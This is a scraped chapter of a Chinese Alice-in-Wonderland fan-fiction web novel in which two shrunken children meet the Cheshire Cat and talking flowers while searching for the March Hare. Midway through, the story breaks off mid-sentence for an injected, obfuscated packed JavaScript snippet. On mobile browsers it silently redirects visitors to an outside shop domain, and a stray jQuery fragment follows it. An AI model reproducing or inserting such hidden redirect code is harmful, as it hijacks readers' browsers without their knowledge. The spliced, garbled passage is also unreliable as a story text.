文趣网 > 都市小说 > [综英美]AAA伯劳师傅烤串中 > 23.三月兔,表,树
    带着蘑菇和泥土味道的空气扑面而来,和他们身后那座被眼泪湖水汽浸透的大厅截然不同。

    拉尼乌斯从他胳膊底下钻过去,第一个跳进了花园里。

    “哇——”

    她发出了今天不知道第多少次的惊叹。

    眼前的花园和他们见过的任何花园都不一样。

    那些花在交头接耳地聊天。一朵红玫瑰正朝着一朵白色雏菊俯下身去,花瓣一张一合,发出细细碎碎的笑声。

    雏菊被她逗得花盘乱颤,花粉扑簌簌地抖了一地。

    “对了对了!三月兔是不是之前见过的穿马甲的兔子?”拉尼乌斯好奇地问。

    迪克反驳了她:“不是,兔子先生和三月兔是两只不一样的兔子。”

    拉尼乌斯思考着:“好吧,好吧,可是故事里,他们不应该一起开茶会吗?”

    “可是现在故事已经结束了,我总觉得发生什么都不奇怪。”

    她认可了迪克的话:“你说的有道理!”

    拉尼乌斯看向花园中央,那里有一条碎石铺成的小路,路的两侧种满了修剪成各种形状的灌木,有扑克牌形状的,有茶杯形状的,还有一棵被修剪成了一只正在打哈欠的兔子的模样。

    拉尼乌斯蹲下来研究那棵兔子灌木,还没研究出个所以然来,就听见头顶传来一个声音。

    那声音懒洋洋的,拖得又慢又长,像是说话的人刚刚睡醒,或者正在准备睡着,又或者根本就没打算好好说话。

    “哦,看看。又有新的小家伙掉进来了。”

    拉尼乌斯抬起头。

    树枝上趴着一只猫。

    他的尾巴从树枝上垂下来,像一条毛茸茸的钟摆,慢悠悠地晃来晃去。

    在树叶缝隙漏下来的光里,他身上的花纹似乎在缓缓地流动。

    不过最引人注目的还是他那奇怪的笑容从耳朵尖到胡须根,整张猫脸上都挂着一个怎么看怎么让人心里发毛的笑容。

    “你好。”拉尼乌斯很有礼貌地说。

    “好,好,当然好。”那只猫把脑袋从树枝下面探出来,倒着看他们,“对你们来说是好的,对我来说也是好的,对花来说是好的,对毛毛虫来说大概不太好,但毛毛虫昨天已经变成蝴蝶飞走了,所以他好不好也无所谓了,不是吗?”

    迪克下意识地把拉尼乌斯拉到自己身后。

    “你是柴郡猫。”迪克说。

    “我是吗?”柴郡猫歪了歪头,身体还在树枝上,脑袋却已经飘到了迪克面前,“也许我是一只碰巧长得很像柴郡猫的虎皮鹦鹉呢。不过虎皮鹦鹉不会爬树,也不会笑,所以这个假设大概不太成立。是的,我是柴郡猫。”

    他的鼻子抽动了两下。

    “眼泪湖。茶河。还有,”他的脑袋绕着迪克飞了一圈,“——药水。变小药水,没错吧?你们刚从老鼠那儿来。”

    “你认识那只老鼠吗?”拉尼乌斯问。

    “认识,不认识,认识。”柴郡猫的眼睛转了转,“我认识每一个留在这里的家伙,但我不一定愿意承认我认识他们,因为他们也不一定愿意承认认识我。你瞧,这就叫相安无事。”

    他从空中飘下来,四只爪子轻轻落在地上,然后侧躺下来,尾巴慢悠悠地卷着自己的身体。

    “那么——”他的目光在拉尼乌斯和迪克之间跳了一个来回,“你们选好了吗?”

    “选什么?”拉尼乌斯问。

    “当然是选上游还是下游呀。”柴郡猫的笑容裂得更大了,“我在你身上闻到了毛毛虫的味道。它一定跟你说过,下游变茶壶,上游自己走。毛毛虫最喜欢问这个问题了,它觉得这是世界上最要紧的事。”

    他把头歪成一个不可思议的角度,那双竖长的瞳孔直直盯着他们。

    “所以呢?你们要变成茶杯,还是留在过去?”

    “我选上游。”拉尼乌斯替他回答了,“我们要找三月兔。疯帽匠说他能回答我的问题。”

    “疯帽匠!”柴郡猫发出一声怪笑,整个身体都跟着笑声抖了起来,“疯帽匠说!疯帽匠说!他说的都是疯话——但疯话里头偶尔也藏着一两句真话,这就是他最让人恼火的地方。”

    他翻了个身,肚皮朝天,四只爪子在空中懒洋洋地划拉着。

    “是的,三月兔知道很多答案。但你知道三月兔选了什么吗?”

    “他选了上游。但是最后他逃跑了。”

    “逃跑?”拉尼乌斯皱起眉头。

    “逃跑了!”柴郡猫开心地重复道,“疯帽匠的表永远停在下午六点。茶会永远不结束。疯帽匠痛苦的留在原地,还以为自己很开心。”

    “按理说三月兔应该跟他一起开心的。可是三月兔跑了!他发现选择铭记太疼了,而且什么也改变不了!所以他跑了!”

    “真是不可饶恕!”他宣布道。

    拉尼乌斯沉默了一会儿。

    “那你呢?”她问。

    “我?”柴郡猫眨了眨眼,笑了起来,他笑得越来越厉害,身体也开始变得透明,先是尾巴尖,然后是后腿,再然后是他的肚皮。

    “柴郡猫!”拉尼乌斯急了,“你先别消失呀!我们不说茶河的事了,你快告诉我三月兔到底在哪里?”

    但是柴郡猫才不听她的,直接消失不见了!

    她朝着柴郡猫消失的地方嘟囔着:“他说话真奇怪。我不喜欢。”

    “哥哥,哥哥,我们该怎么找三月兔呢?难道要继续找门吗?”

    “……或许我们可不去问问那些花。”迪克回答着。

    还没等他们去问,玫瑰笑眯眯地说着:“……他在不存在的树里住着!”

    “什么不存在的树?”拉尼乌斯问着。

    “你知道吗!你有点像爱丽丝,那个金发的小姑娘,我觉得她很漂亮,不过你更漂亮!她有一只猫叫迪娜,你说迪娜吃蝙蝠吗?”玫瑰却岔开了话题。

    “蝙蝠?我觉得猫吃不了蝙蝠的,蝙蝠很大一只。”

    玫瑰开始唱歌了:“哦哦,好的,那你知道为什么疯帽匠的表永远在下午六点吗?因为他给女王唱了一首歌,我给你唱唱吧!”

    一闪一闪,小蝙蝠!

    好想知道你往哪儿去!

    你飞在空中那么高,

    像是个茶盘儿飘啊飘。

    闪啊,闪啊……

    迪克打断了她的歌声:“ok,fine。我们知道了,现在可以告诉我们有关树的事情了吗?它在哪?”

    “不存在的东西怎么会有哪里呢?”玫瑰花

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554119|203174||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    歪了歪花瓣,“这个问题本身就是矛盾的。不过嘛——”

    它用一片叶子指了指花园深处那条碎石小路的尽头:“你往那个方向走,走到你觉得那里绝对不可能有一棵树的时候,那棵树就在了,话说你觉得遗忘怎么样?记住又怎么样?反正这里的大家都在铭记,因为留在这里和我交朋友也蛮好的!有新的小家伙来,我才一直留在这里哩。”

    迪克站在原地,感觉自己的大脑正在进行一场激烈的搏斗。

    拉尼乌斯倒是完全没有任何纠结。她拉着迪克的手就往那个方向跑,一边跑一边兴奋地喊着:“好的好的,我知道了!只要我相信,它才会在那里!对不对?”

    “大概是……又不是完全对……”迪克被她拽得踉踉跄跄的。

    他们跑过那片灌木丛,花园里的花们纷纷停下聊天,转过头来看这两个奔跑的小小人影,然后交头接耳地议论起来。

    拉尼乌斯猛地停下了脚步。迪克差点撞到她背上。

    “你干什——”

    “嘘!”拉尼乌斯竖起一根手指,“我在相信它存在。”

    她闭上眼睛,眉头皱成一团,嘴唇抿得紧紧的,整张脸都写满了“我在努力”。

    过了好一会儿,她睁开一只眼睛偷偷看了看前方。

    什么都没有。

    她又闭上眼,这次把眉头皱得更紧了,两只手都攥成了拳头,用力到整个人都在微微发抖。

    “……你在干什么?”迪克忍不住问。

    “我在相信!”拉尼乌斯从牙缝里挤出这句话,“可是它好像不太相信我在相信它。”

    迪克张了张嘴,想说点什么理性的分析,但又觉得在这个地方理性大概是最没用的东西。

    于是他叹了口气,也闭上眼睛。

    “我们到了。”

    拉尼乌斯睁开眼睛。

    他们的面前确实有一棵树。

    其他的树都是货真价实的,但这棵树看起来像是用月光和雾气做成的,树干是半透明的,能隐隐约约看见树皮下面的年轮在缓缓转动。

    树根处果然有一个洞穴。那个洞上有一个小门,上面写着不会下雨的路。

    不大,但对于变小的他们来说倒是绰绰有余。他们推门,门竟然直接开了。

    “我想我们找对地方了。”迪克说着,蹲下来朝洞里张望。

    洞里亮着暖黄色的光,更像是从什么地方漏进来的阳光。

    洞壁上挂着各种各样的钟表,有圆的有方的,有大的有小的,嘀嘀咕咕地走着。

    只不过它们每一只的时间都不一样,有的在倒着走,有的走得飞快,秒针转得像是被谁在后面追着咬,还有一只干脆停在了下午六点,和疯帽匠那只怀表一模一样。

    洞的最深处传来一阵急促的脚步声,那脚步声来来回回,没有停下来过。

    然后一个声音从里面传出来,那声音又快又焦虑,像是说话的人同时在做好几件事:“是六点吗?不是六点!已经过了六点了!可是怎么会过了六点呢?茶会还没结束啊!如果茶会没有结束,那六点就还没到!如果六点还没到,那我到底迟到了没有——”

    声音的主人从洞穴深处冲了出来。

    “三月兔!”拉尼乌斯高兴地喊了出来。